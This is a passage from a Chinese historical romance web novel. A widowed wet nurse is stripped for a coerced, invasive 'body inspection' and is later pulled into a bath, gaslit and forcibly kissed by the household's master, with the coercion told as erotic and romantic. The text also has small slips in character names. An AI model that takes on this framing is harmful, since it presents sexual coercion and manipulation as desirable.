婆子不耐烦,三两下扯开她的衣襟,外衫落了地,中衣散了襟,最后上身只剩一件鹅黄色的肚兜,堪堪挂在身上。 罗苒忍着泪,咬着唇,身子抖得厉害。 软尺绕过她的腰,绕过她的胸。 那婆子量得仔细,报数时声音毫无起伏, “腰围一尺七,胸围……” 话没说完,她伸手掀开肚兜往里看了一眼。 罗苒浑身一僵,眼泪终于滚了下来。 平日里穿着厨娘的粗布衣裳,捂得严严实实,谁也瞧不见底下是什么光景。 如今半脱半裸着,那皮肤白得晃眼,跟抹了面粉似的,细腻得不见一丝瑕疵。 方才挣扎时被婆子攥过的地方,已经起了几道浅浅的红痕,在白净的皮肤上格外刺目。 那截腰身被软尺勒出一道浅浅的痕,不盈一握,根本不像是生过孩子的。 此刻的罗苒蜷在墙角,整个人半遮半露,双手不知该捂哪里,只能死死抱着自己。 她委屈地缩着肩膀,咬着唇啜泣,眼泪糊了满脸,睫毛湿成一绺一绺的。 那委屈又羞愤的模样,竟让两个见惯了这场面的婆子都愣了一愣。 高个婆子啧了一声。 “这小娘子哭起来我见犹怜,该有肉的地方有肉,该瘦的地方瘦,倒是生得一身好皮肉。” 另一个婆子也跟着点头,目光在罗苒身上转了一圈, “怪不得二爷能看上,这模样身段如若未成亲,破格送到宫中也是够格的……” 罗苒听着她们像评头论足似的议论,羞愤得几乎要晕过去。 她以为这样就结束了。 直到那矮胖婆子走到桌边,拿过一个软皮卷,在桌上摊开。 里面整整齐齐排列着一排木棍。 从细小到粗大,一根比一根粗,打磨得圆润光滑。 罗苒愣愣地看着那些东西,不明白这是什么意思。 那婆子回头,看见她懵懂的神情,不由嗤笑一声。 “你也不用害臊,上面的流程,进宫的秀女都得走这一遭。” 她走回罗苒身边,居高临下地看着她, “不过你和那些秀女不同的是,她们查完上面那些就差不多了,你还有最后一项。” 她朝桌上那些木棍努了努嘴。 “就是测量那儿的紧致程度……毕竟要伺候男人,那个地方也得过关……松松垮垮的,肯定不行。” 罗苒愣了一下。 等她反应过来那婆子话里的意思,整个人如同被雷劈中,震惊羞耻不敢置信全涌上来。 她瞪大眼睛看着桌上那些木棍,脸色刷地白了。 第7章 验身2 楚烬刚踏进二房院内,就听到女人带着哭腔的嘤咛声。 他眉头微蹙,循声而去,一把推开门。 门内的景象让他脚步一顿。 罗苒被两个身强力壮的婆子按在矮榻上,裙摆凌乱,长裤已被褪去大半,露出两条细白的腿。 在他开门的那一刻,那双腿慌乱地蜷缩进长裙遮掩之下。 她衣衫不整,头发散乱,精致白嫩的脸上满是泪痕,眼眶红得像要滴出血来。 身旁一个婆子正拿着根短木棍一样的东西,正要往她身下探。 见有人进来,那婆子吓了一跳,手中的木具啪嗒掉在地上,按着罗苒的手也不自觉松开了。 罗苒立马缩成一团,整个人往角落里躲,抖得厉害。 外衫松松垮垮地挂在身上,衣襟敞开,露出里面鹅黄色的肚兜。 一角细绳松了,堪堪挂在肩上。 一截白腻的肩头裸露在外,那皮肤白得晃眼,上面还印着几道浅浅的红痕。 楚烬高大身影堵在门口,严严实实挡住了外头的天光。 他上前一步,反手将门关上。 那俩婆子这才看清来人,脸色齐刷刷变了,慌忙跪下, “将,将军……” 楚烬冷眸一扫。 那目光像刀子似的,两个婆子竟不由自主地缩了缩脖子。 “你们是谁?” 声音不高,气势却逼人。 婆子们顿时萎了,高个儿的那个硬着头皮回话, “回相爷,我,我们是二太太请来给那娘子检查身子的验身婆子……” “验身?” 楚烬眼神一沉,凛冽锐利。 婆子吓得一哆嗦,忙不迭解释, “二爷要纳这小娘子为姨娘,二太太不放心,担心她一个寡妇不干净,才叫我们过来验验……我们好心让她自己选合适木具,她倒好,选了却闹腾着不肯验……” 楚烬目光落在地上那根木具上。 细长的,圆润的。 他意识到这东西要放进哪里后,脸色陡然冷了几分。 角落里,罗苒抖着手,哭着道, “大,大爷明鉴……我并未想做二爷姨娘……是二太太她们不听我解释……” 楚烬没看她,只阴恻恻地扫了眼那两个婆子。 “闹出这种事,成何体统。” 两个婆子把头埋得更低,大气都不敢出。 “滚!” 婆子们屁滚尿流的退了出去。 门重新关上。 屋里只剩下罗苒和楚烬两个。 楚烬目光扫过桌上那排木具,又落在一旁的纸张上,发现上头是刚刚验身的记录。 幽深的眼眸闪过一丝动荡,抬眸,看向角落里缩着的罗苒。 她整个人蜷成一团,小小一只,只露出巴掌大的小脸。 眼眶通红,长裙下露出纤细的脚腕,那截脚腕白得刺眼。 楚烬喉结微微滚动,有些不自然地把视线移开。 “你收拾一下。” 他沉着声音,转身退出房间。 罗苒战战兢兢地爬起来,手忙脚乱地整理衣衫。 等收拾好了推门出去,发现楚烬就站在门口,没走。 楚烬垂眸看着她。 眼睛还红着,脸上泪痕未干,整个人像只刚从陷阱里救出来的小兽,可怜巴巴的。 “洗把脸,去我院里书房等着。” 楚烬沉着声语气依旧冷硬,“此事我自会过问清楚。” 罗苒慌忙点头。 说来也怪,方才还怕得浑身发抖,此刻看着楚烬那张俊冷的脸,心却莫名不那么慌了。 她知道这位大爷虽性情冷冽严厉,却是出了名的刚正不阿,定不会像二太太那般不分青红皂白。 “多谢大爷。” 她低声说了句,脚步匆匆离去。 楚烬站在原地,目送那抹细瘦的背影消失在回廊尽头。 这才重新踏进房内。 将桌上的那张薄纸收进袖口。 随后低头,目光落在脚边。 那根被扔下的木具,细细的一条,此刻正横在青石板上。 他抬脚,踩了上去。 鞋底碾过那圆润的木棍,稍微用力,咔嚓木具顿时断成两截。 冷眸之中的动荡已沉了下去,只剩一片晦暗,深得望不见底。 罗苒回去匆匆换了身干净衣衫,对着铜镜把散乱的头发重新挽起。 镜中人眼眶还红着,脸上泪痕虽已洗净,眼皮却微微肿着,像两颗刚剥开的桃子。 她抿了抿唇,深吸一口气,心里还惦记着小玥和衍哥儿,便先往衍哥儿屋里去瞧一眼。 一进院子,果然听见衍哥儿的哭声。 她加快脚步推门进去,衍哥儿一见她就伸手要抱,小脸哭得通红,委屈的不行。 小玥倒是乖,坐在一旁软垫上,李婆婆正一勺一勺地给她喂鸡蛋羹。 罗苒接过衍哥儿,衍哥儿显然是饿坏了。 她便也顾不得什么寻了个角落坐下,撩开衣襟喂奶。 李婆婆见她眼眶红红的,低声问,“出事了?” 罗苒点了点头,又觉得那事实在说不出口,复又摇了摇头,只含糊道, “幸而正巧碰上大爷在二房院子……” “大爷?” 李婆婆手上顿了顿, “刚刚大爷来看衍哥儿,衍哥儿饿了哭闹,我们便顺势将二太太带人来的事同他说了,他听完脸色就沉了下来,二话没说就往外走。” 罗苒愣了愣。 原来楚烬是特意赶去的。 想来也是,楚烬想来看重衍哥儿,如今府里只有她一个奶娘,自是不能看自家儿子饿肚子。 喂完衍哥儿,又哄了哄小玥。 实在不好意思再耽搁,便将小玥托付给李婆婆,这才往楚烬书房去。 书房门半掩着。 罗枝在门口站定,深吸一口气,轻轻叩门。 “进来。” 里头的声音低沉浑厚,似乎还带着几分不耐的沙哑。 她推门进去,垂着眼行了礼。 “大爷……” 余光瞥见楚烬坐在案后,手里捏着一份文书,神色淡淡的,眉宇间透着股久居上位的凌厉。 他一身玄色常服,袖口随意挽起,露出一截小麦色的小臂。 那手臂肌肉紧实,青筋微微凸起,一看便是常年握刀拉弓练出来的力道。 姿态看似闲散地靠着椅背,可那股子久经沙场浸染出来的气势,往那儿一坐,只是坐在那微微抬头审视,就让人连呼吸都不敢大声。 第8章 双腿莫名有些发软 罗苒只看了一眼便慌忙垂下眼,心口砰砰直跳。 那种感觉,就像被押上了公堂的犯人,还没开口,堂上的官老爷已经把你里里外外看透了。 她低着头,能感觉到那道目光落在自己身上,沉甸甸的,像座山压着。 明明隔着几步远,可那股子压迫感却铺天盖地地罩下来,让人连气都喘不匀。 双腿莫名有些发软。 她忽然想起那些传闻…… 说面前这男人战场上一人斩敌数十,说他对俘虏从不手软,说被他审过的细作,没有不招的。 此刻被他这样盯着,罗苒竟生出一种错觉…… 自己那些藏在心底的见不得人的秘密,好像下一秒就要被他看穿,然后不由自主地全部吐出来。 “事情我已大致问清楚了。你是怎么想的?真想做老二的姨娘?” 楚烬放下手里的文书,开了口。 罗苒生怕他跟崔氏那样误会自己,努力压着心慌,低着头急急否认, “大爷明鉴,奴婢真的从未有过那种打算……孩子还小,我只想找个暂时的容身之处,好好干活攒些银子,并没有一点想要攀附二爷的想法。” 楚烬看了她片刻,那目光像能把她从里到外看透。 片刻后,他往后靠了靠,语气缓了些,却还是带着隐隐的压迫感, “你最好说的是真的。” 他顿了顿,声音更沉了几分, “老二是二房嫡子,身份摆在那儿。二太太虽然疼惜自己儿子,但对外人向来严厉……就算真的依着老二收了你,到时你进府容易,日子却未必好过。” “如今老二房里已有两个伺候的。未来,二太太必然要给他娶一门当户对的夫人进门。” 罗枝抿着唇,静静听着。 “更何况,”楚烬目光落在她脸上,“老二为人轻浮你也知道,他还比你小三岁,你这样的情况,若想让自己和孩子过得好,理应找个年长稳妥些的,左右到时还能护住你……” 他点到为止,没再往下说。 罗枝又怎能听不懂。 表姐徐曼羽便是二房老爷的姨娘,整日被二太太压得抬不起头。 而今日见到那姨娘许嫣,便也知道都不是等闲人物。 她一个寡妇,带着孩子,没背景没依靠,就算真进了门,也不过是多一个被拿捏的人罢了。 上有严厉的婆婆,下有得宠的姨娘,未来还要面对门当户对的正室夫人…… 那日子,光是想想就让人喘不过气。 她忙点头,“奴婢知道,奴婢确确实实也从未有过这念头。” 楚烬没接话,只看着她。 那目光沉沉的,不知在想什么。 罗枝垂下眼,声音轻轻的,却透着一股子执拗, “或许大爷会笑话奴婢自视清高,但之前也好,现在也罢,奴婢一直想要找一个一心一意对我的丈夫,而不是找个需要伺候讨好的爷……” 这样说着,她便不由想起了自己之前死去的丈夫侯建功。 侯家条件清贫,当初媒人上门提亲时,她其实犹豫过。 是侯建功亲自来见她,站在院子里,向侯家祖宗立誓这辈子绝不会有二心。 她这才嫁了。 婚后的日子不算甜蜜,但也安稳。 她以为这辈子就这样过了,平平淡淡的,也挺好。 谁料想他竟走得那么突然。 后来婆家因为她生的是女儿容不下她,把她赶了出来。 镇上也有条件尚可的人家托人来问,想让她去做妾做姨娘,她都一一回绝了。 她一直觉得,既然成了亲,便要全心全意属于对方。 怎可三心二意? 真心喜欢一个人,在意一个人,又怎么受得了跟别人分享爱人? 经了这次事情,她更加笃定…… 宁愿找个清贫人家,一生一世相守,也不愿踏进这吃人的大户人家,日日勾心斗角,被作践算计。 书房里静了片刻。 楚烬抬眼看着她。 她低垂着头,露出一截白皙的脖颈,细长细长的,脆弱得好像一只手就能掐过来。 那后颈上还有几缕毛茸茸的碎发,软软地贴着皮肤,衬得整个人又乖又倔。 他盯着那截脖颈看了片刻。 下一瞬,便推开椅子站起来,大步朝她走来。 罗苒只觉得一道高大的阴影压下来,带着那股熟悉的冷冽气息,逼得她不由自主往后退了半步。 楚烬垂眼看着她近在咫尺的小脸,正要开口…… “大哥!大哥!” 门外陡然响起楚乘风火急火燎的声音,人未到声先至。 楚烬眉峰微蹙。 门被一把推开,楚乘风闯进来,目光在屋里一扫,瞬间定在罗苒身上。 见她眼角还泛着红,他几步上前,急声道, “我刚回来就去找过母亲了!都是那许嫣挑拨,我已经罚她闭门思过三个月……” 罗苒见他靠近,下意识往后退了一步。 那动作太明显,像受惊的小动物。 楚烬身体一侧,不动声色地挡在她身前。 靠得近了,女人身上那股莫名熟悉有好闻的味道又直往他鼻子里钻,混着她身上温热的气息,丝丝缕缕地撩着人。 面前的楚乘风还在隔着人喋喋不休,聒噪的不行, “你没事吧?可曾受过伤?我找大夫来给你瞧瞧!” “人好好站在这儿,能有什么事。” 楚烬开了口,声音带着点不耐。 他面无表情地看了楚乘风一眼,然后侧过脸,对身后的人道, “既然说清楚了,那便回去吧。这件事到此为止。” 顿了顿,又道, “你放心,何家规矩向来严格清正,断然不会做那种强取豪夺之事。若有人再缠着你,你便随时可来找我。” 罗苒垂着眼,低声应了句“是”,看也不看楚乘风一眼,侧身绕过他,快步出了书房。 回到自己房间,罗苒把小宝抱在怀里,心才慢慢落回实处。 傍晚时分,她听大房里的下人们闲谈,说二爷楚乘风被他父亲带去江南学习经商,要个把月才能回来。 罗苒手上动作顿了顿,没接话。 也不知是不是大爷的意思。 好在这件事似乎被楚烬刻意压了下来,并没有太多人知晓。 罗苒心里清楚,这世道对女人苛刻,对她这样死了男人没有依仗的女人,更是尤为苛刻。 她甚至不敢想,如若这事传出去,以讹传讹会传成什么样子。 这样想着,她对楚烬便有了几分改观。 大爷果然只是看起来冷冽慑人,实则却如传言中所说,公正严明,刚直不阿。 今日若不是他及时出现,她都不知该如何脱身。 而且,他似乎压根没有认出自己就是他一直在寻的那个村妇…… 这样看来,只要她老老实实做衍哥儿的奶娘,便可以继续安安稳稳在这里生活下去,攒够银子,带着小玥离开…… 第9章 无人知晓 只是罗苒不知道…… 夜深人静之时。 她自认为那位公正严明,刚直不阿的大爷,此刻正独自躺在内室榻上。 烛火早已熄了。 月光从雕花窗户漏进来,落在他微微滚动的喉结上。 那张线条硬朗的脸上白日里冷峻迫人,此刻隐在半明半暗的光影里,瞧不出什么神情。 楚烬阖着眼,呼吸却比白日里沉了几分,粗重得像头压抑着什么的困兽。 本该装着行军布阵、朝堂风云的脑子,此刻却满满当当塞着一个女人。 那所在软塌之上,发红的眼尾,水润的眼睛,咬着唇强忍泪意的模样,一遍遍在眼前晃。 那罗裙下一晃而过的修长双腿,纤细白嫩的脚踝仿佛轻轻一折就能断。 若是…… 楚烬喉结剧烈滚动,翻了个身,肌肉虬结的手臂压在身下,却压不住那团火。 脑子里忽然冒出白日里那张记着什么的纸张。 腰细。 丰盈。 紧致。 那细得可怜的木棍…… 他那两根手指都比那东西粗。 若是换成他的…… 这个念头一冒出来,楚烬呼吸陡然粗重,额角青筋跳了跳。 楚烬猛地睁开眼,盯着头顶的承尘,胸口剧烈起伏。 他抬手,遮住自己的眼。 糙砺的掌心覆在眼皮上,粗重的呼吸在寂静的夜里格外清晰。 可越是看不见,那些画面就越发清晰。 夜很长。 榻上有窸窸窣窣的响动,良久,归于平静。 最后那一声喘息隐忍而低沉,像是从胸腔深处挤出来的,带着糙砺的沙哑,散在月色里,无人知晓。 这日晚间罗苒给衍哥儿喂完奶,小玥已经在旁边的软塌上睡着了。 罗苒把衍哥儿轻轻放进摇篮,仔细掖好被子,便抱起小玥,准备回自己房间。 刚推开门,迎面撞上一道人影。 楚烬不知何时站在门外,正要进来。 罗苒吓了一跳,脚下不稳,抱着小玥就往旁边倒去。 “当心。” 楚烬眼疾手快,一把揽住她的腰,把人带了回来。 那手掌粗糙有力,箍在腰上像铁钳似的。 罗苒整个人被他捞进怀里,怀里还抱着小玥,动弹不得。 她抬起头,正对上那双深邃的眼,脸不由一红。 “大,大爷……” 楚烬低头看她,没松手。 那目光沉沉的,罗苒被他看得心慌,挣了挣,楚烬这才松开手。 罗苒抱着孩子往后退了一步,看向他, “大爷是来看衍哥儿的?” 楚烬“嗯”了一声,目光在她脸上停了一瞬,便越过她往里走。 楚烬几乎日日都会来看衍哥儿。 但这几日好像朝堂上有事,已经两日没来了。 楚烬站在摇篮边,低头看着熟睡的衍哥儿,脸上带着几分倦意。 罗苒抱着小玥站在一旁,轻声道, “衍哥儿刚睡着,一下午都乖得很。” 楚烬点了点头,又看了一眼她怀里的小玥,忽然抬手揉了揉额角。 “你可会按头?” 罗苒想到前婆婆动不动喊头疼身体疼,整日让她给自己按头按背,一来二去便熟练了起来。 于是点头道,“会一些。” 楚烬便又沉声开口,“把孩子放下。” 罗苒依言把小玥放到软塌上,盖好小被子。 再直起身时,楚烬已经出了房门往院的另一侧走去。 罗苒跟上去,才发现竟是浴室。 屋里已经备好了热水。 屏风后,浴桶里热气袅袅,飘着淡淡的药草香。 楚烬站在屏风旁,抬手解了外袍,随手搭在架子上。 他回头看罗苒,见她站在门口不动,淡淡道, “过来,这几日头疼得厉害,你帮我按按。” 罗苒硬着头皮上前。 楚烬已经进了浴桶,水没过腰腹。 他靠在桶壁上,阖着眼。 罗苒坐在一旁的矮凳上,目光却不受控制地往浴桶中男人的身上飘。 水汽氤氲中,能清晰看见那副健硕的身躯…… 肩膀宽得吓人,胸膛厚实,肌肉线条分明,不是那种发达的壮硕,而是常年习武练出来的结实。 小麦色的皮肤被热水一泡,泛着健康的光泽。 她一个已婚的妇人,又不是没见过男人裸身,可楚烬这身板…… 实在太过了些。 意识到自己竟然暗戳戳的细细打量着男人的裸体,罗苒慌忙收了心思。 脸却已经烧了起来,也不知是不是水汽太热,额角竟然沁出薄汗。 楚烬将结实的胳膊搭在木桶边缘。 那胳膊上肌肉紧实,青筋微微凸起,一看便是常年握刀拉弓练出来的。 他将头往后仰,眉头微蹙,看起来确实疲惫得很。 罗苒不知怎的,心里忽然软了一下。 她上前,伸出手,轻轻按上他的太阳穴。 指腹下的皮肤温热,她的手指微凉,一凉一热,触感分明。 她细细地按着,力道不轻不重,指尖偶尔擦过他紧皱的眉心。 楚烬的眉头渐渐舒展开来。 罗苒低头看着他,他阖着眼,睫毛在眼睑下投出一小片阴影。 离得近了才发现,这人生得实在好看…… 浓眉,高鼻,薄唇,线条硬朗无可挑剔。 她的目光顺着他的鼻梁往下,落在他下巴上。 那里有一颗很小很小的痣,几乎看不清,要凑得很近才能发现。 罗苒忍不住往前凑了凑。 她想看清那颗痣。 就在这时…… 楚烬忽然睁开了眼。 四目相对。 近在咫尺。 罗苒整个人僵住了,手指还按在他太阳穴上,忘了收回来。 那双看着她的眸子漆黑深邃,像一潭望不见底的深水,此刻正定定地看着她。 那眼神沉沉的,带着要将人吞噬的压迫感,让人腿软。 罗苒被他看得心慌,愣了一瞬才反应过来,慌忙往后缩。 “奴,奴婢去给大爷拿巾子……” 她胡乱找了个借口,撑着地起身就要走。 脚还没迈出去,手腕猛地一紧。 有人拽住了她。 地本来就湿,罗苒脚下打滑,整个人往后一仰,“噗通”一声栽进了浴桶里。 热水铺天盖地涌过来,她猝不及防被呛了好几口,手忙脚乱地扑腾。 腰上一紧,被人箍着捞了起来。 “咳咳咳咳……” 眼睛被水迷得睁不开,喉咙里呛得生疼。 罗苒咳得上气不接下气,眼泪都呛了出来,眼眶红了一圈。 第10章 去我房里等着我 浑身湿透,头发散乱地贴在脸上,狼狈得不成样子。 好不容易喘匀了气,她才后知后觉地意识到自己正坐在楚烬身上。 隔着湿透的薄薄衣裳,两人身体紧贴。 她能清晰地感觉到他结实的大腿,还有那坚硬滚烫的肌肉。 罗苒惊慌失措,下意识地想撑着他起来,手掌却按在他赤裸的胸膛上。 掌心下是结实滚烫的胸肌,甚至还隐约能感受到心跳,一下一下,撞得她手心发热。 罗苒像被烫着似的慌忙缩回手。 可一缩,没了支撑,整个人又往下滑了滑,严严实实地坐在了身下男人腿上。 不知蹭到了什么,楚烬眉头微微一皱,箍着她腰身的手倏然收紧,那力道大得像是要把她的腰掐断。 罗苒慌得话都说不利索,“大,大爷,您怎突然拽奴婢……” 楚烬近距离看着她湿漉漉的脸,一脸坦然。 低哑着声音道,“我何时拽过你?” 罗苒瞪大眼睛看他。 那双眸子深邃平静,看不出一丝波澜。 就这么看着她,镇定自若,面色正经,看不出半点心虚。 罗苒被那目光盯着,心里忽然不确定起来。 她小声嗫嚅, “可,可奴婢分明感觉到有手拽了奴婢的手腕,奴婢才脚下一滑栽进来的……” 楚烬挑了挑眉。 “哦?” 他慢悠悠开口,声音沉沉的, “你是说,本将军故意拉你进浴桶,对你有所图谋?” 罗苒被他这么一问,脑子更乱了。 她本来是很确定的…… 那只手的力道,那个角度,分明就是故意拽的。 可楚烬这样看着她,那样坦然镇定,她就忍不住自我怀疑起来。 毕竟楚烬那样的人,冷冽刚硬,怎么可能做这种轻浮调戏的事? “那,那许是奴婢记错了……” 她声音越来越小,“或许是衣裳勾到什么地方了……” 楚烬没说话。 罗苒越发觉得自己想多了,心里涌上几分歉疚,低声道, “抱歉,大爷,是奴婢莽撞了……” 话说完才发现腰间那双手还箍得紧紧的,丝毫没有松开的意思。 她挣了挣,“大爷……” 楚烬低头看着她,目光从她湿透的眉眼一路往下,掠过因为湿衣而愈发玲珑的曲线,最后落在那张惴惴不安的脸上,耳根通红,被打湿的睫毛一簇一簇的轻轻颤着。 这小娘子,被人卖了还帮人数钱。 他唇角微微弯了弯,眼底闪过一丝幽幽暗光。 罗苒被他看得不自在,继续挣扎着想爬起来, “奴婢这就出去……您,您的手……” 罗苒示意楚烬松手,但腰上的手却依旧箍得很紧。 她有些不明所以地抬头看面前的男人。 楚烬却在这时慢条斯理地开口,语气里带着点意味深长的意味, “方才撞了我,如今又假意落水……” “罗苒,你是想勾引我?” 面对这莫须有的指控,罗苒不由瞪大眼睛。 楚烬目光从她诧异惊慌到有些呆愣的小脸上慢慢往下滑,落在那被湿衣勾勒出的丰盈曲线上。 反应慢半拍的罗苒感受到楚烬的目光,慌忙否认, “大爷,奴婢真的没有那个意思……” 楚烬却慢悠悠地将目光收回来,自顾自的继续说道: “你莫不是觉得,我是那种能被轻易引诱的人?” “但如果只是这点手段……” 他尾音拖长,眼底闪着幽光,似是意味深长, “怕是不太行……” 罗苒听的似懂非懂。 但脸却烧得厉害,又羞又急,只想赶紧从这个尴尬的境地逃出去。 她挣扎着要起身,手又不敢再撑他的胸膛,只能扭着身子试图脚踩上桶底借力站起来。 可她忘了自己正坐在楚烬腿上。 这一动又蹭的,柔软的身子在怀里乱扭,那股她身上的淡淡香气直往鼻子里钻。 柔软的大腿根似乎蹭过某处,楚烬眉头倏地一紧,喉咙里逸出一声极轻的闷哼。 下一刻,他手上猛地一用力。 罗苒只感觉天旋地转,水花四溅。 还没反应过来,已经被摁进了水里。 楚烬翻身将她压在身下,一只手撑着桶壁,一只手箍着她的腰。 水波荡漾,热气氤氲,他居高临下地看着她,眸子里翻涌着什么。 罗苒仰面躺在水里,对上的那双眼睛,那沉冷的眼神凶悍锐利,似是下一秒就要将她吞入腹中。 “罗苒。” 楚烬喊她的名字,声音低得发哑,像是从胸腔深处挤出来的。 “你是不是非要逼我现在就办了你?” 罗苒整个人僵住。 温热的水下,大腿似乎抵着了什么。 她愣了一瞬,意识到那是什么之后,整个人如同被雷击中,僵得一动不敢动。 “大,大爷……” 她惊恐地瞪大眼睛,嘴唇哆嗦着。 声音发颤,眼眶里不知是水还是泪,湿漉漉地望着楚烬。 话没说完,脸颊忽然被捏住。 那手糙得很,指腹有厚茧,捏得她脸颊都变了形。 楚烬看着她这副模样…… 湿透的眉眼,泛红的眼尾,微微发颤的唇,还有眼底那抹惊惧交加的神色…… 他眸色顿时更深了几分。 罗苒只感觉眼前一暗,楚烬便吻了上来。 她浑身一抖,愣了一瞬才反应过来,慌忙伸手去推。 可楚烬哪是她推得动的? 那胸膛又热又硬,笼来的气息霸道强势得可怕,一只手扣着她的后脑,不容她退后半分。 那吻又凶又急, 舌尖撬开她的齿关,长驱直入,纠缠着她的,吮吸掠夺,像是要把她整个人拆吃入腹。 罗苒被吻得晕头转向,水汽氤氲中呼吸本就艰难,此刻更是喘不上气。 推拒的力气越来越小,意识也有些模糊,整个人像被抽走了骨头,软在他怀里。 “咚咚咚。” 敲门声骤然响起。 “大爷,宫里急报……是您这几日劳心的那桩事。” 罗苒猛地惊醒,慌乱地要推开他。 楚烬动作顿了顿,却没收手,反而更深地吮了一下她的唇,才慢慢退出来。 两人呼吸都急促得厉害,湿热的气息交缠在一起。 他垂眼看她,拇指轻轻摩挲着她巴掌大的脸。 那张脸此刻潮红一片,眼尾泛着桃花似的艳色,嘴唇被他吻得微微红肿,水光潋滟。 楚烬喉结滚了滚。 “去去就回。” 他声音低哑粗糙,依依不舍的,指腹又在她脸颊上轻轻蹭了一下。 “去我房里等着我。” 说完,他起身跨出浴桶,扯过架上的中衣胡乱披上,一边系带一边往外走。 第11章 她休了大爷? 那背影宽厚挺拔,肩背肌肉随着动作起伏,充满了力量感。 直到关门声响起,罗苒才回过神来。 她还泡在浴桶里,温热的水包裹着身体,她却忍不住打了个寒颤。 低头一看,才发现自己的衣衫不知何时被扯开了,襟口松散,露出一片白腻的肌肤。 回想楚烬临走前看她的那个眼神。 罗苒又打了个哆嗦,慌忙从浴桶里爬出来,浑身湿漉漉的,胡乱擦拭一番拢好衣襟,跌跌撞撞跑了出去。 直到抱着还在熟睡的小玥回到自己房里,罗苒的心还在狂跳,像是要从胸腔里蹦出来。 她捂着胸口,脑海里乱成一团浆糊。 脸也烫得厉害,不敢再想。 可脑子不听使唤。 刚刚在浴室,气氛确实太暧昧了。 楚烬不是圣人,在那样的情境下,会有想法也正常吧? 可他让她去他房里等着。 等什么? 莫不是想继续做下去? 罗苒心口又猛地一跳。 可她又不是他的夫人,也不是他的姨娘…… 还是说,他觉得自己是个寡妇,成过婚,就可以随便对待? 认为她无依无靠,没名没分地跟他睡了,也不敢说什么? 罗苒越想越乱,感觉自己简直要疯了。 这一晚,罗苒辗转难眠。 闭上眼就是楚烬近距离压下来的脸,挥之不去。 她翻来覆去,暗骂自己没出息。 楚烬确实生得好,身材也棒,可自己一个成过亲的妇人,怎会如此轻易就沉迷于男色? 越想越害臊,越想越觉得自己孟浪。 熬到天亮,她去喂衍哥儿的时候整个人都是恍惚的。 喂完奶,罗苒把衍哥儿放在软塌上跟小玥一起玩,心里却一直不踏实。 她忽然想起之前楚乘风那档子事…… 他只是对她表现的稍微有一点兴趣,他那姨娘就拈酸吃醋闹成那样,最后还惊动了二太太。 要是昨晚那些事传到楚烬的夫人或者姨娘耳朵里…… 罗苒打了个哆嗦。 可这念头一冒出来,她突然意识到一个问题…… 她来楚府这么久了,怎么从来没见过大房院里的女眷? 别说夫人了,连个姨娘通房的影子都没瞧见过。 中午吃饭的时候,罗苒忍不住随口问了平日较好的刘婶子一句。 “婶子,咱大房这边怎么没见着女眷啊?” 刘婶子正扒拉着饭,听了这话抬起头,快人快语地接了话茬。 “你刚来,还不知道大爷的事吧?” 罗苒摇摇头,眼巴巴地望着她。 刘婶子放下筷子,往她跟前凑了凑,压低声音。 “大爷只在早年中武状元后,娶过一房夫人,是佥都御史的女儿,叫许佩兰。” “当年是她自己看上大爷,要死要活非要嫁过来,结果嫁过来没两年,又嫌弃大爷冷淡。” “后来赶上大爷被人陷害入了狱,那女人一看楚家要倒台,二话不说,卷了家产,留下一纸休书就跑了。” 罗苒愣住了。 休书? “她……她休了大爷?” 她没忍住问出口,实在想不明白,楚烬那样的男人,怎么会有人瞧不上? “可不是!”刘婶子愤愤不平道,“那女人狠着呢,转头就嫁了别人,结果你猜怎么着?没几个月,大爷就洗脱冤屈出来了,青云直上,如今这地位青云直上,那许氏如今怕是肠子都悔青了……” 罗苒忍不住又问,“那大爷这么多年也没有再另娶?” “大爷许是被那许氏的手段给伤着了,打那以后就再没提过续弦的事。这些年啊,屋里一直空着……” 刘婶子压低声音,神神秘秘的。 “别说续弦了,这些年也不是没有胆大的丫鬟想爬床,想给自己挣个前程。结果呢?有一个算一个,全被撵出去了,半点情面都不留。” “还有外面那些贵女小姐们,不知多少都眼巴巴地盯着大爷,听说连县主公主都有看上他的……可大爷愣是一个都没搭理,连正眼都不给一个。” 没有夫人,没有姨娘…… 那就不用担心像之前那样,被什么夫人姨娘盯上,被按着检查,被那些拈酸吃醋的手段整治。 罗苒听着,心里总算稍稍松了口气。 临到傍晚,楚烬回来了。 罗苒正抱着衍哥儿拍奶嗝。 听见脚步声抬头,就见那道高大的身影踏进门来。 依旧是那副冷冽刚硬的模样,眉宇间带很稳的凌厉,看不出半点波澜。 仿佛昨晚那个把她按在浴桶里亲的男人,只是一场幻觉。 罗苒心里莫名松了口气,又隐隐有些说不清的滋味。 衍哥儿眼尖,一看到楚烬就撒欢,小手朝他伸着。 罗苒只好抱着孩子走过去,把人递到他怀里。 楚烬接过孩子,垂眸逗弄了两下,面上淡淡的,没有什么情绪。 那宽厚的肩膀和结实的臂弯,抱着孩子竟也有几分笨拙的温柔。 “听说衍儿最近开始加粥羹了?” 他低头逗着怀里的孩子,语气如常。 “吃得怎么样?” 罗苒站在一旁,尽量让自己的声音听起来自然, “回大爷,衍哥儿吃得可好了,每次都能吃小半碗。” 正说着,忽然感觉楚烬的目光若有似无地从她脖颈间划过。 罗苒这才发觉方才喂完衍哥儿,衣襟最顶端的那颗纽扣不知何时松开了,露出一截脖颈。 她心里一紧,生怕楚烬又像昨晚那样误会自己是在勾引他,像之前那些想怕他床的丫鬟那样。 忙假装去喊照顾衍哥儿的婆子,顺势背过身,利索地把那颗纽扣系好。 身后的楚烬,目光在她略显仓促的动作上顿了顿。 眼底沉了一瞬,似是有不悦闪过。 李婆婆恰好进来,一见到楚烬便满脸堆笑,絮絮叨叨地夸衍哥儿如何乖巧如何招人疼。 罗苒趁这空当,悄悄退了出去,往厨房去端给衍哥儿备好的肉粥。 她边走边在心里暗暗开解自己。 昨晚的浴室之中气氛确实太暧昧了。 也是自己不好,失足掉进浴桶里。 楚烬就算平日里冷冽刚硬,但毕竟也是个血气方刚的男人,房中还空了那么久,那样的情况下有片刻冲动,会有想法也正常吧? 这其实也可以理解,自己勿要在胡思乱想了…… 第12章 昨夜怎没来? 端着肉粥回来时,罗苒却没想到屋里已经乱了套。 李婆婆正手足无措地抱着衍哥儿,楚烬站在一旁,低头看着自己湿了一大片的上衫。 衍哥儿竟然尿在了他身上。 罗苒差点没忍住笑出来。 楚烬那样的人,战场上驰骋多年,刀剑划过的口子都不知挨了多少。 身上沾血是常事,只是这童子尿怕是这辈子头一回沾上吧…… 此刻他站在那里,看着自己湿漉漉的衣袍,那张素来凌厉的脸上,竟露出几分难得的茫然无措。 李婆婆慌慌张张地把衍哥儿抱去换衣裳,临走前还不忘吩咐罗苒帮楚烬收拾干净。 罗苒只好放下粥碗,取了用温水湿过的干净帕子过来。 